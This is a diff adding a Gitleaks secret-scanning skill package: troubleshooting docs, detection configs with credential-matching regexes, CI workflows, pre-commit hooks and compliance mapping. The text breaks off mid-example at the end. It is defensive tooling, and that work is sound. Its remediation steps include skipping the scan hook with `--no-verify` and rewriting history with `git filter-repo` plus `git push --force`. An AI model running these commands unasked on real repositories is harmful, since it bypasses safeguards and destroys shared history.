+- **GitLab CI**: Docker-based scanning with artifact retention for audit trails +- **Jenkins**: Execute via Docker or installed binary in pipeline stages +- **CircleCI**: Docker executor with orb support +- **Azure Pipelines**: Task-based integration with results publishing + +### Security Tools Ecosystem + +- **SIEM Integration**: Export JSON findings to Splunk, ELK, or Datadog for centralized monitoring +- **Vulnerability Management**: Import SARIF reports into Snyk, SonarQube, or Checkmarx +- **Secret Management**: Integrate findings with HashiCorp Vault or AWS Secrets Manager rotation workflows +- **Ticketing Systems**: Automated Jira/ServiceNow ticket creation for remediation tracking + +### SDLC Integration + +- **Design Phase**: Include secret detection requirements in security architecture reviews +- **Development**: Pre-commit hooks provide immediate feedback to developers +- **Code Review**: PR/MR checks prevent secrets from reaching main branches +- **Testing**: Scan test environments and infrastructure-as-code +- **Deployment**: Final validation gate before production release +- **Operations**: Periodic scanning of deployed configurations and logs + +## Troubleshooting + +### Issue: Too Many False Positives + +**Symptoms**: Legitimate code patterns flagged as secrets (test fixtures, examples, placeholders) + +**Solution**: +1. Review findings to identify patterns: `grep -i "example\|test\|placeholder" gitleaks-report.json` +2. Add to allowlist in `.gitleaks.toml`: + ```toml + [allowlist] + paths = ['''test/''', '''examples/''', '''\.md$'''] + stopwords = ["EXAMPLE", "PLACEHOLDER", "YOUR_API_KEY_HERE"] + ``` +3. Use commit allowlists for specific false positives: + ```toml + [allowlist] + commits = ["commit-sha-here"] + ``` +4. Consult `references/false_positives.md` for common patterns + +### Issue: Performance Issues on Large Repositories + +**Symptoms**: Scans taking excessive time (>10 minutes), high memory usage + +**Solution**: +1. Use `--log-opts` to limit git history: `gitleaks detect --log-opts="--since=2024-01-01"` +2. Scan specific branches: `gitleaks detect --log-opts="origin/main"` +3. Use baseline approach to scan only recent changes +4. Consider shallow clone for initial scans: `git clone --depth=1000` +5. Parallelize scans across multiple branches or subdirectories + +### Issue: Pre-commit Hook Blocking Valid Commits + +**Symptoms**: Developers unable to commit code with legitimate patterns + +**Solution**: +1. Add inline comment to bypass hook: `# gitleaks:allow` +2. Update `.gitleaks.toml` allowlist for the specific pattern +3. Use `--redact` to safely review findings: `gitleaks protect --staged --redact` +4. Temporary bypass (use with caution): `git commit --no-verify` +5. Review with security team if pattern is genuinely needed + +### Issue: Secrets Found in Git History + +**Symptoms**: Secrets detected in old commits, already removed from current code + +**Solution**: +1. Rotate compromised credentials immediately (highest priority) +2. For public repositories, consider full history rewrite using: + - `git filter-repo` (recommended): `git filter-repo --path-glob '*.env' --invert-paths` + - BFG Repo-Cleaner: `bfg --delete-files credentials.json` +3. Force-push cleaned history: `git push --force` +4. Notify all contributors to rebase/re-clone +5. See `references/remediation_guide.md` for detailed procedures +6. Document incident in security audit log + +### Issue: Custom Secret Patterns Not Detected + +**Symptoms**: Organization-specific secrets not caught by default rules + +**Solution**: +1. Develop regex pattern: Test at regex101.com with sample secrets +2. Add custom rule to `.gitleaks.toml`: + ```toml + [[rules]] + id = "custom-secret-id" + description = "Description" + regex = '''your-pattern-here''' + secretGroup = 1 # Capture group containing actual secret + ``` +3. Test pattern: `gitleaks detect --config .gitleaks.toml -v --no-git` +4. Consider entropy threshold if pattern is ambiguous: + ```toml + [[rules.Entropies]] + Min = "3.5" + Max = "7.0" + Group = "1" + ``` +5. Validate with known true positives and negatives + +## Advanced Configuration + +### Entropy-Based Detection + +For secrets without clear patterns, use Shannon entropy analysis: + +```toml +[[rules]] +id = "high-entropy-strings" +description = "High entropy strings that may be secrets" +regex = '''[a-zA-Z0-9]{32,}''' +entropy = 4.5 # Shannon entropy threshold +secretGroup = 0 +``` + +### Composite Rules (v8.28.0+) + +Detect secrets spanning multiple lines or requiring context: + +```toml +[[rules]] +id = "multi-line-secret" +description = "API key with usage context" +regex = '''api_key[\s]*=''' + +[[rules.composite]] +pattern = '''initialize_client''' +location = "line" # Must be within same line proximity +distance = 5 # Within 5 lines +``` + +### Global vs Rule-Specific Allowlists + +```toml +# Global allowlist (highest precedence) +[allowlist] +description = "Organization-wide exceptions" +paths = ['''vendor/''', '''node_modules/'''] + +# Rule-specific allowlist +[[rules]] +id = "generic-api-key" +[rules.allowlist] +description = "Exceptions only for this rule" +regexes = ['''key\s*=\s*EXAMPLE'''] +``` + +## References + +- [Gitleaks Official Documentation](https://github.com/gitleaks/gitleaks) +- [OWASP A07:2021 - Identification and Authentication Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/) +- [CWE-798: Use of Hard-coded Credentials](https://cwe.mitre.org/data/definitions/798.html) +- [CWE-259: Use of Hard-coded Password](https://cwe.mitre.org/data/definitions/259.html) +- [CWE-321: Use of Hard-coded Cryptographic Key](https://cwe.mitre.org/data/definitions/321.html) +- [PCI-DSS Requirements](https://www.pcisecuritystandards.org/) +- [SOC2 Security Criteria](https://www.aicpa.org/interestareas/frc/assuranceadvisoryservices/aicpasoc2report.html) diff --git a/skills/devsecops/secrets-gitleaks/assets/.gitkeep b/skills/devsecops/secrets-gitleaks/assets/.gitkeep new file mode 100644 index 0000000..189ed78 --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/assets/.gitkeep @@ -0,0 +1,9 @@ +# Assets Directory + +Place files that will be used in the output Claude produces: +- Templates +- Configuration files +- Images/logos +- Boilerplate code + +These files are NOT loaded into context but copied/modified in output. diff --git a/skills/devsecops/secrets-gitleaks/assets/config-balanced.toml b/skills/devsecops/secrets-gitleaks/assets/config-balanced.toml new file mode 100644 index 0000000..2c8128e --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/assets/config-balanced.toml @@ -0,0 +1,81 @@ +# Gitleaks Balanced Configuration +# Production-ready configuration balancing security and developer experience +# Use for: Most production repositories + +title = "Gitleaks Balanced Configuration" + +[extend] +# Extend default Gitleaks rules +useDefault = true + +[allowlist] +description = "Balanced allowlist for common false positives" + +# Standard non-production paths +paths = [ + '''test/.*''', + '''tests/.*''', + '''.*/fixtures/.*''', + '''.*/testdata/.*''', + '''spec/.*''', + '''examples?/.*''', + '''docs?/.*''', + '''\.md$''', + '''\.rst$''', + '''\.txt$''', + '''node_modules/.*''', + '''vendor/.*''', + '''third[_-]party/.*''', + '''\.min\.js$''', + '''\.min\.css$''', + '''dist/.*''', + '''build/.*''', + '''target/.*''', + '''.*/mocks?/.*''', +] + +# Common placeholder patterns +stopwords = [ + "example", + "placeholder", + "your_api_key_here", + "your_key_here", + "your_secret_here", + "replace_me", + "replaceme", + "changeme", + "change_me", + "insert_key_here", + "xxxxxx", + "000000", + "123456", + "abcdef", + "sample", + "dummy", + "fake", + "test_key", + "test_secret", + "test_password", + "test_token", + "mock", + "TODO", +] + +# Public non-secrets +regexes = [ + '''-----BEGIN CERTIFICATE-----''', + '''-----BEGIN PUBLIC KEY-----''', + '''data:image/[^;]+;base64,''', + '''[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}''', # UUID +] + +# Manually verified false positives (add with comments) +commits = [] + +# Custom rules for organization-specific patterns can be added below + +# Example: Allowlist template files +# [[rules]] +# id = "generic-api-key" +# [rules.allowlist] +# paths = ['''config/.*\.template$''', '''config/.*\.example$'''] diff --git a/skills/devsecops/secrets-gitleaks/assets/config-custom.toml b/skills/devsecops/secrets-gitleaks/assets/config-custom.toml new file mode 100644 index 0000000..7c88646 --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/assets/config-custom.toml @@ -0,0 +1,178 @@ +# Gitleaks Custom Configuration Template +# Use this as a starting point for organization-specific detection rules + +title = "Custom Gitleaks Configuration" + +[extend] +# Extend default Gitleaks rules with custom rules +useDefault = true + +# ============================================================================= +# GLOBAL ALLOWLIST +# ============================================================================= +# Global allowlists apply to ALL rules and have highest precedence + +[allowlist] +description = "Global allowlist for organization-wide exceptions" + +# Paths to exclude from scanning +paths = [ + # Test and documentation + '''test/.*''', + '''docs?/.*''', + '''examples?/.*''', + + # Dependencies + '''node_modules/.*''', + '''vendor/.*''', + + # Build artifacts + '''dist/.*''', + '''build/.*''', +] + +# Known placeholder values +stopwords = [ + "example", + "placeholder", + "your_key_here", + "test", + "mock", + "dummy", +] + +# Public non-secrets +regexes = [ + '''-----BEGIN CERTIFICATE-----''', + '''-----BEGIN PUBLIC KEY-----''', +] + +# Manually verified commits (add with explanatory comments) +commits = [] + +# ============================================================================= +# CUSTOM DETECTION RULES +# ============================================================================= +# Add organization-specific secret patterns here + +# Example: Custom API Key Pattern +[[rules]] +id = "acme-corp-api-key" +description = "ACME Corp Internal API Key" +# Regex pattern to match your organization's API key format +# Use triple-quoted strings for complex patterns +regex = '''(?i)acme[_-]?api[_-]?key[\s]*[=:][\s]*['"]?([a-zA-Z0-9]{40})['"]?''' +# Capture group containing the actual secret (for entropy analysis) +secretGroup = 1 +# Tags for categorization and filtering +tags = ["api-key", "acme-internal"] + +# Optional: Rule-specific allowlist (lower precedence than global) +#[rules.allowlist] +#paths = ['''config/defaults\.yaml'''] +#stopwords = ["DEFAULT_KEY"] + +# Example: Custom Database Password Pattern +[[rules]] +id = "acme-corp-db-password" +description = "ACME Corp Database Password Format" +# Matches company-specific password format +regex = '''(?i)(db_pass|database_password)[\s]*[=:][\s]*['"]([A-Z][a-z0-9@#$%]{15,})['"]''' +secretGroup = 2 +tags = ["password", "database", "acme-internal"] + +# Example: High-Entropy Detection with Custom Threshold +[[rules]] +id = "high-entropy-string" +description = "High entropy string (potential secret)" +# Match strings of 32+ alphanumeric characters +regex = '''[a-zA-Z0-9+/]{32,}''' +# Shannon entropy threshold (0.0 - 8.0, higher = more random) +entropy = 4.5 +# Which capture group to analyze (0 = entire match) +secretGroup = 0 +tags = ["entropy", "generic"] + +[rules.allowlist] +# Allowlist base64-encoded images +regexes = ['''data:image/[^;]+;base64,'''] + +# Example: Custom Service Account Key +[[rules]] +id = "acme-corp-service-account" +description = "ACME Corp Service Account JSON Key" +# Detect JSON structure with specific fields +regex = '''"type":\s*"acme_service_account"''' +tags = ["service-account", "acme-internal"] + +# Example: Custom OAuth Token Format +[[rules]] +id = "acme-corp-oauth-token" +description = "ACME Corp OAuth Token" +# Custom token format: acme_oauth_v1_<40 hex chars> +regex = '''acme_oauth_v1_[a-f0-9]{40}''' +tags = ["oauth", "token", "acme-internal"] + +# ============================================================================= +# TESTING CUSTOM RULES +# ============================================================================= +# Test your custom rules with: +# gitleaks detect --config config-custom.toml -v +# +# Test against specific file: +# gitleaks detect --config config-custom.toml --source path/to/file --no-git +# +# Test regex pattern online: +# https://regex101.com/ (select Golang flavor) +# +# ============================================================================= + +# ============================================================================= +# ENTROPY ANALYSIS GUIDE +# ============================================================================= +# Entropy values (Shannon entropy): +# 0.0 - 2.5: Very low (repeated characters, simple patterns) +# 2.5 - 3.5: Low (common words, simple sequences) +# 3.5 - 4.5: Medium (mixed case, some randomness) +# 4.5 - 5.5: High (strong randomness, likely secret) +# 5.5 - 8.0: Very high (cryptographic randomness) +# +# Recommended thresholds: +# - API keys: 4.5+ +# - Passwords: 3.5+ +# - Tokens: 4.5+ +# - Generic secrets: 5.0+ +# ============================================================================= + +# ============================================================================= +# REGEX CAPTURE GROUPS +# ============================================================================= +# Use capture groups to extract the actual secret from surrounding text: +# +# regex = '''api_key\s*=\s*"([a-zA-Z0-9]+)"''' +# ^^^^^^^^^ +# Group 1 +# +# secretGroup = 1 # Analyze only the key value, not 'api_key = ""' +# +# This improves entropy analysis accuracy and reduces false positives. +# ============================================================================= + +# ============================================================================= +# COMPOSITE RULES (Advanced) +# ============================================================================= +# Gitleaks v8.28.0+ supports composite rules for context-aware detection +# Useful for secrets that require nearby context (multi-line patterns) + +#[[rules]] +#id = "composite-api-key" +#description = "API key with usage context" +#regex = '''api_key\s*=''' +# +#[[rules.composite]] +#pattern = '''initialize_client''' +#location = "line" # "line", "fragment", or "commit" +#distance = 5 # Within 5 lines +# +# This detects api_key = "..." only when "initialize_client" appears within 5 lines +# ============================================================================= diff --git a/skills/devsecops/secrets-gitleaks/assets/config-strict.toml b/skills/devsecops/secrets-gitleaks/assets/config-strict.toml new file mode 100644 index 0000000..0ec7c99 --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/assets/config-strict.toml @@ -0,0 +1,48 @@ +# Gitleaks Strict Configuration +# High-sensitivity detection with minimal allowlisting +# Use for: Security-critical repositories, financial services, healthcare + +title = "Gitleaks Strict Configuration" + +[extend] +# Use all default Gitleaks rules +useDefault = true + +[allowlist] +description = "Minimal allowlist - only proven false positives" + +# Only allow in build artifacts and dependencies +paths = [ + '''node_modules/.*''', + '''vendor/.*''', + '''\.min\.js$''', + '''\.min\.css$''', +] + +# Only obvious non-secret patterns +stopwords = [ + "EXAMPLE_DO_NOT_USE", + "PLACEHOLDER_REPLACE_ME", +] + +# All commits must be manually verified before allowlisting +commits = [] + +# Additional strict rules for high-value targets + +[[rules]] +id = "strict-env-file" +description = "Detect any .env files (should not be in repo)" +regex = '''.*''' +path = '''\.env$''' +tags = ["env-file", "strict"] + +[[rules]] +id = "strict-config-secrets" +description = "Config files with potential secrets" +regex = '''(?i)(password|secret|key|token|credential)[\s]*[=:][\s]*['"]?([a-zA-Z0-9!@#$%^&*()_+\-=\[\]{};':"\\|,.<>\/?]{8,})['"]?''' +secretGroup = 2 +tags = ["config", "strict"] +[rules.allowlist] +paths = ['''test/.*'''] +stopwords = ["EXAMPLE"] diff --git a/skills/devsecops/secrets-gitleaks/assets/github-action.yml b/skills/devsecops/secrets-gitleaks/assets/github-action.yml new file mode 100644 index 0000000..a1b0336 --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/assets/github-action.yml @@ -0,0 +1,181 @@ +# GitHub Actions Workflow for Gitleaks Secret Scanning +# Save as: .github/workflows/gitleaks.yml + +name: Secret Scanning with Gitleaks + +on: + push: + branches: + - main + - develop + - 'release/**' + pull_request: + branches: + - main + - develop + schedule: + # Run daily at 2 AM UTC + - cron: '0 2 * * *' + workflow_dispatch: # Allow manual triggers + +# Cancel in-progress runs when new commit pushed +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +jobs: + gitleaks-scan: + name: Scan for Secrets + runs-on: ubuntu-latest + + permissions: + # Required for uploading SARIF results to GitHub Security tab + security-events: write + # Required for checking out private repos + contents: read + + steps: + - name: Checkout Repository + uses: actions/checkout@v4 + with: + # Fetch full history for comprehensive scanning + fetch-depth: 0 + + - name: Run Gitleaks Scan + id: gitleaks + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + # Optional: Use custom configuration + # GITLEAKS_CONFIG: .gitleaks.toml + + # Optional: Generate JSON report for further processing + - name: Generate JSON Report + if: always() # Run even if secrets found + run: | + docker run --rm -v ${{ github.workspace }}:/repo \ + zricethezav/gitleaks:latest \ + detect --source /repo \ + --report-path /repo/gitleaks-report.json \ + --report-format json \ + --exit-code 0 || true + + # Optional: Upload JSON report as artifact + - name: Upload Scan Report + if: always() + uses: actions/upload-artifact@v4 + with: + name: gitleaks-report + path: gitleaks-report.json + retention-days: 30 + + # Optional: Generate SARIF report for GitHub Security tab + - name: Generate SARIF Report + if: always() + run: | + docker run --rm -v ${{ github.workspace }}:/repo \ + zricethezav/gitleaks:latest \ + detect --source /repo \ + --report-path /repo/gitleaks.sarif \ + --report-format sarif \ + --exit-code 0 || true + + # Optional: Upload SARIF report to GitHub Security + - name: Upload SARIF to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: gitleaks.sarif + category: gitleaks + + # Optional: Comment on PR with findings + - name: Comment PR with Findings + if: failure() && github.event_name == 'pull_request' + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + try { + const report = JSON.parse(fs.readFileSync('gitleaks-report.json', 'utf8')); + const findings = report.length; + + const comment = `## 🔒 Secret Scanning Results + + ⚠️ **${findings} potential secret(s) detected!** + + Please review the findings and take immediate action: + 1. **Do not merge** this PR until secrets are removed + 2. Rotate any exposed credentials immediately + 3. Remove secrets from code and use environment variables + 4. Review the security tab for detailed findings + + See [Secret Scanning Guide](https://github.com/${{ github.repository }}/blob/main/docs/secret-scanning.md) for remediation steps.`; + + github.rest.issues.createComment({ + issue_number: context.issue.number, + owner: context.repo.owner, + repo: context.repo.repo, + body: comment + }); + } catch (error) { + console.log('No report file or error reading it:', error.message); + } + + # Optional: Post to Slack on failure + - name: Notify Slack on Failure + if: failure() + uses: slackapi/slack-github-action@v1 + with: + payload: | + { + "text": "🚨 Secrets detected in ${{ github.repository }}", + "blocks": [ + { + "type": "section", + "text": { + "type": "mrkdwn", + "text": "*Secret Scanning Alert*\n\nSecrets detected in repository: `${{ github.repository }}`\nBranch: `${{ github.ref_name }}`\nCommit: `${{ github.sha }}`\n\n<${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}|View Details>" + } + } + ] + } + env: + SLACK_WEBHOOK_URL: ${{ secrets.SLACK_WEBHOOK_URL }} + SLACK_WEBHOOK_TYPE: INCOMING_WEBHOOK + + # Optional: Baseline scanning for incremental detection + baseline-scan: + name: Incremental Scan Against Baseline + runs-on: ubuntu-latest + if: github.event_name == 'push' + + steps: + - name: Checkout Repository + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Download Existing Baseline + continue-on-error: true + run: | + # Download baseline from artifact storage or S3 + # Example: aws s3 cp s3://bucket/.gitleaks-baseline.json . + echo "Baseline download would go here" + + - name: Run Incremental Scan + run: | + docker run --rm -v ${{ github.workspace }}:/repo \ + zricethezav/gitleaks:latest \ + detect --source /repo \ + --baseline-path /repo/.gitleaks-baseline.json \ + --report-path /repo/new-findings.json \ + --report-format json \ + --exit-code 1 || true + + - name: Upload New Findings + if: always() + uses: actions/upload-artifact@v4 + with: + name: new-findings + path: new-findings.json + retention-days: 90 diff --git a/skills/devsecops/secrets-gitleaks/assets/gitlab-ci.yml b/skills/devsecops/secrets-gitleaks/assets/gitlab-ci.yml new file mode 100644 index 0000000..e928baf --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/assets/gitlab-ci.yml @@ -0,0 +1,257 @@ +# GitLab CI Pipeline for Gitleaks Secret Scanning +# Save as: .gitlab-ci.yml or include in existing pipeline + +# Define stages +stages: + - security + - report + +# Default Docker image for security jobs +image: docker:latest + +services: + - docker:dind + +variables: + # Gitleaks Docker image + GITLEAKS_IMAGE: zricethezav/gitleaks:latest + # Report output path + REPORT_PATH: gitleaks-report.json + # SARIF output for GitLab Security Dashboard + SARIF_PATH: gl-secret-detection-report.json + +# Secret scanning job +gitleaks-scan: + stage: security + image: $GITLEAKS_IMAGE + + # Run on all branches and merge requests + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + - if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH' + - if: '$CI_COMMIT_BRANCH =~ /^(develop|release)/' + + script: + # Run Gitleaks scan + - echo "Running Gitleaks secret detection..." + - | + gitleaks detect \ + --source . \ + --report-path $REPORT_PATH \ + --report-format json \ + --verbose || true + + # Convert to GitLab SARIF format for Security Dashboard + - | + gitleaks detect \ + --source . \ + --report-path $SARIF_PATH \ + --report-format sarif \ + --verbose || true + + # Check if secrets were found + - | + if [ -s "$REPORT_PATH" ] && [ "$(cat $REPORT_PATH)" != "null" ]; then + echo "⚠️ Secrets detected! Review findings below." + cat $REPORT_PATH | jq -r '.[] | "File: \(.File)\nLine: \(.StartLine)\nRule: \(.RuleID)\n"' + exit 1 + else + echo "✅ No secrets detected" + fi + + artifacts: + paths: + - $REPORT_PATH + - $SARIF_PATH + reports: + # GitLab Security Dashboard integration + secret_detection: $SARIF_PATH + when: always + expire_in: 30 days + + # Allow failure for initial rollout, then set to false + allow_failure: false + +# Optional: Incremental scanning with baseline +gitleaks-incremental: + stage: security + image: $GITLEAKS_IMAGE + + # Only run on merge requests + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + + script: + # Download baseline from artifacts or storage + - echo "Downloading baseline..." + - | + if [ -f ".gitleaks-baseline.json" ]; then + echo "Using baseline from repository" + else + echo "No baseline found, running full scan" + fi + + # Run incremental scan + - | + if [ -f ".gitleaks-baseline.json" ]; then + gitleaks detect \ + --source . \ + --baseline-path .gitleaks-baseline.json \ + --report-path new-findings.json \ + --report-format json \ + --exit-code 1 || true + + if [ -s "new-findings.json" ] && [ "$(cat new-findings.json)" != "null" ]; then + echo "⚠️ New secrets detected since baseline!" + cat new-findings.json | jq . + exit 1 + fi + fi + + artifacts: + paths: + - new-findings.json + when: always + expire_in: 7 days + +# Optional: Create baseline on main branch +create-baseline: + stage: security + image: $GITLEAKS_IMAGE + + # Only run on main/master branch + rules: + - if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH' + when: manual # Manual trigger to avoid overwriting + + script: + - echo "Creating new baseline..." + - | + gitleaks detect \ + --source . \ + --report-path .gitleaks-baseline.json \ + --report-format json \ + --exit-code 0 || true + + artifacts: + paths: + - .gitleaks-baseline.json + expire_in: 365 days + +# Optional: Generate human-readable report +generate-report: + stage: report + image: python:3.11-slim + + dependencies: + - gitleaks-scan + + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + - if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH' + + script: + - pip install jinja2 + - | + python3 << 'EOF' + import json + import sys + from datetime import datetime + + try: + with open('gitleaks-report.json', 'r') as f: + findings = json.load(f) + + if not findings: + print("✅ No secrets detected") + sys.exit(0) + + print("# Gitleaks Secret Detection Report") + print(f"\n**Generated**: {datetime.now().isoformat()}") + print(f"**Total Findings**: {len(findings)}\n") + + for idx, finding in enumerate(findings, 1): + print(f"\n## Finding {idx}") + print(f"- **File**: {finding.get('File', 'unknown')}") + print(f"- **Line**: {finding.get('StartLine', 'unknown')}") + print(f"- **Rule**: {finding.get('RuleID', 'unknown')}") + print(f"- **Description**: {finding.get('Description', 'unknown')}") + print(f"- **Commit**: {finding.get('Commit', 'N/A')}\n") + + except FileNotFoundError: + print("No report file found") + except json.JSONDecodeError: + print("No findings in report") + EOF + + artifacts: + paths: + - gitleaks-report.json + +# Optional: Comment on merge request +comment-mr: + stage: report + image: alpine:latest + + dependencies: + - gitleaks-scan + + rules: + - if: '$CI_PIPELINE_SOURCE == "merge_request_event"' + + before_script: + - apk add --no-cache curl jq + + script: + - | + if [ -s "$REPORT_PATH" ] && [ "$(cat $REPORT_PATH)" != "null" ]; then + FINDING_COUNT=$(cat $REPORT_PATH | jq '. | length') + + COMMENT="## 🔒 Secret Scanning Results\n\n" + COMMENT="${COMMENT}⚠️ **${FINDING_COUNT} potential secret(s) detected!**\n\n" + COMMENT="${COMMENT}Please review the findings and take immediate action:\n" + COMMENT="${COMMENT}1. **Do not merge** this MR until secrets are removed\n" + COMMENT="${COMMENT}2. Rotate any exposed credentials immediately\n" + COMMENT="${COMMENT}3. Remove secrets from code and use CI/CD variables\n\n" + COMMENT="${COMMENT}See pipeline artifacts for detailed findings." + + # Post comment to merge request + curl --request POST \ + --header "PRIVATE-TOKEN: $GITLAB_TOKEN" \ + --data-urlencode "body=$COMMENT" \ + "$CI_API_V4_URL/projects/$CI_PROJECT_ID/merge_requests/$CI_MERGE_REQUEST_IID/notes" + fi + + allow_failure: true + +# Optional: Scheduled nightly scan +nightly-scan: + stage: security + image: $GITLEAKS_IMAGE + + # Run on schedule only + rules: + - if: '$CI_PIPELINE_SOURCE == "schedule"' + + script: + - echo "Running comprehensive nightly secret scan..." + - | + gitleaks detect \ + --source . \ + --report-path nightly-scan.json \ + --report-format json \ + --verbose + + artifacts: + paths: + - nightly-scan.json + when: always + expire_in: 90 days + + # Send notifications on failure + after_script: + - | + if [ $? -ne 0 ]; then + echo "Secrets detected in nightly scan!" + # Add notification logic (email, Slack, etc.) + fi diff --git a/skills/devsecops/secrets-gitleaks/assets/precommit-config.yaml b/skills/devsecops/secrets-gitleaks/assets/precommit-config.yaml new file mode 100644 index 0000000..ec76367 --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/assets/precommit-config.yaml @@ -0,0 +1,70 @@ +# Pre-commit Framework Configuration for Gitleaks +# Install pre-commit: pip install pre-commit +# Install hooks: pre-commit install +# Run manually: pre-commit run --all-files +# +# More info: https://pre-commit.com/ + +repos: + - repo: https://github.com/gitleaks/gitleaks + rev: v8.18.0 # Update to latest version: https://github.com/gitleaks/gitleaks/releases + hooks: + - id: gitleaks + name: Gitleaks - Secret Detection + description: Scan staged changes for hardcoded secrets + entry: gitleaks protect --verbose --redact --staged + language: system + pass_filenames: false + # Optional: Custom configuration + # args: ['--config', '.gitleaks.toml'] + + # Optional: Additional security hooks + + # Detect private keys + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 + hooks: + - id: detect-private-key + name: Detect Private Keys + + # Check for AWS credentials + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 + hooks: + - id: detect-aws-credentials + name: Detect AWS Credentials + args: ['--allow-missing-credentials'] + + # Prevent large files (may contain secrets) + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 + hooks: + - id: check-added-large-files + name: Check for Large Files + args: ['--maxkb=1000'] + + # Check for merge conflicts + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 + hooks: + - id: check-merge-conflict + name: Check for Merge Conflicts + + # Ensure files end with newline + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 + hooks: + - id: end-of-file-fixer + name: Fix End of Files + + # Trim trailing whitespace + - repo: https://github.com/pre-commit/pre-commit-hooks + rev: v4.5.0 + hooks: + - id: trailing-whitespace + name: Trim Trailing Whitespace + +# Configuration for pre-commit.ci (optional CI service) +ci: + autofix_prs: false + autoupdate_schedule: monthly diff --git a/skills/devsecops/secrets-gitleaks/references/EXAMPLE.md b/skills/devsecops/secrets-gitleaks/references/EXAMPLE.md new file mode 100644 index 0000000..23d74db --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/references/EXAMPLE.md @@ -0,0 +1,40 @@ +# Reference Document Template + +This file contains detailed reference material that Claude should load only when needed. + +## Table of Contents + +- [Section 1](#section-1) +- [Section 2](#section-2) +- [Security Standards](#security-standards) + +## Section 1 + +Detailed information, schemas, or examples that are too large for SKILL.md. + +## Section 2 + +Additional reference material. + +## Security Standards + +### OWASP Top 10 + +Reference relevant OWASP categories: +- A01: Broken Access Control +- A02: Cryptographic Failures +- etc. + +### CWE Mappings + +Map to relevant Common Weakness Enumeration categories: +- CWE-79: Cross-site Scripting +- CWE-89: SQL Injection +- etc. + +### MITRE ATT&CK + +Reference relevant tactics and techniques if applicable: +- TA0001: Initial Access +- T1190: Exploit Public-Facing Application +- etc. diff --git a/skills/devsecops/secrets-gitleaks/references/compliance_mapping.md b/skills/devsecops/secrets-gitleaks/references/compliance_mapping.md new file mode 100644 index 0000000..b0bc8a8 --- /dev/null +++ b/skills/devsecops/secrets-gitleaks/references/compliance_mapping.md @@ -0,0 +1,538 @@ +# Compliance Framework Mapping + +Detailed mapping of Gitleaks secret detection to compliance and security frameworks. + +## Table of Contents + +- [OWASP Top 10](#owasp-top-10) +- [CWE (Common Weakness Enumeration)](#cwe-common-weakness-enumeration) +- [PCI-DSS](#pci-dss) +- [SOC 2](#soc-2) +- [GDPR](#gdpr) +- [NIST Cybersecurity Framework](#nist-cybersecurity-framework) +- [ISO 27001](#iso-27001) +- [HIPAA](#hipaa) +- [Compliance Reporting](#compliance-reporting) + +## OWASP Top 10 + +### A07:2021 – Identification and Authentication Failures + +**Relevance**: Hardcoded credentials lead to authentication bypass and unauthorized access. + +**Gitleaks Coverage**: +- Detects hardcoded passwords, API keys, tokens +- Identifies database connection strings with embedded credentials +- Finds SSH keys, certificates, and cryptographic secrets + +**Control Implementation**: +```yaml +# CI/CD check to prevent authentication failures +name: OWASP A07 - Authentication Control +on: [push, pull_request] +jobs: + secrets-scan: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v3 + with: + fetch-depth: 0 + - name: Scan for hardcoded credentials (OWASP A07) + uses: gitleaks/gitleaks-action@v2 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} +``` + +**Evidence for Auditors**: +- Gitleaks scan reports (JSON/SARIF format) +- CI/CD pipeline logs showing regular scans +- Pre-commit hook installation across developer workstations +- Remediation tracking for detected secrets + +### A01:2021 – Broken Access Control + +**Relevance**: Exposed API keys and tokens can bypass access control mechanisms. + +**Gitleaks Coverage**: +- Cloud provider credentials (AWS, GCP, Azure) +- Service account keys and OAuth tokens +- Administrative API keys + +**Control Implementation**: +- Implement secret scanning before deployment +- Rotate credentials when exposure detected +- Review cloud provider audit logs for unauthorized access + +### A02:2021 – Cryptographic Failures + +**Relevance**: Hardcoded cryptographic keys compromise encryption. + +**Gitleaks Coverage**: +- Private keys (RSA, DSA, EC) +- JWT signing secrets +- Encryption keys in configuration files + +**Evidence**: +- Detection rules for CWE-321 (Use of Hard-coded Cryptographic Key) +- Remediation procedures for exposed cryptographic material + +## CWE (Common Weakness Enumeration) + +### CWE-798: Use of Hard-coded Credentials + +**Description**: Software contains hard-coded credentials (e.g., password, cryptographic key). + +**CVSS Base Score**: Typically 7.5 - 9.8 (High to Critical) + +**Gitleaks Detection**: +- All API key rules +- Database connection strings +- Service account credentials +- Generic password patterns + +**Remediation Mapping**: +```toml +# Tag all findings with CWE-798 +[[rules]] +id = "generic-api-key" +description = "Generic API Key (CWE-798)" +regex = '''(?i)api_key\s*=\s*["']([a-zA-Z0-9]{32,})["']''' +tags = ["api-key", "CWE-798"] +``` + +### CWE-259: Use of Hard-coded Password + +**Description**: Software contains hard-coded password. + +**Gitleaks Detection**: +- Password variables in code +- Database connection strings with passwords +- Configuration files with password fields + +**Example Finding**: +```json +{ + "RuleID": "generic-password", + "Description": 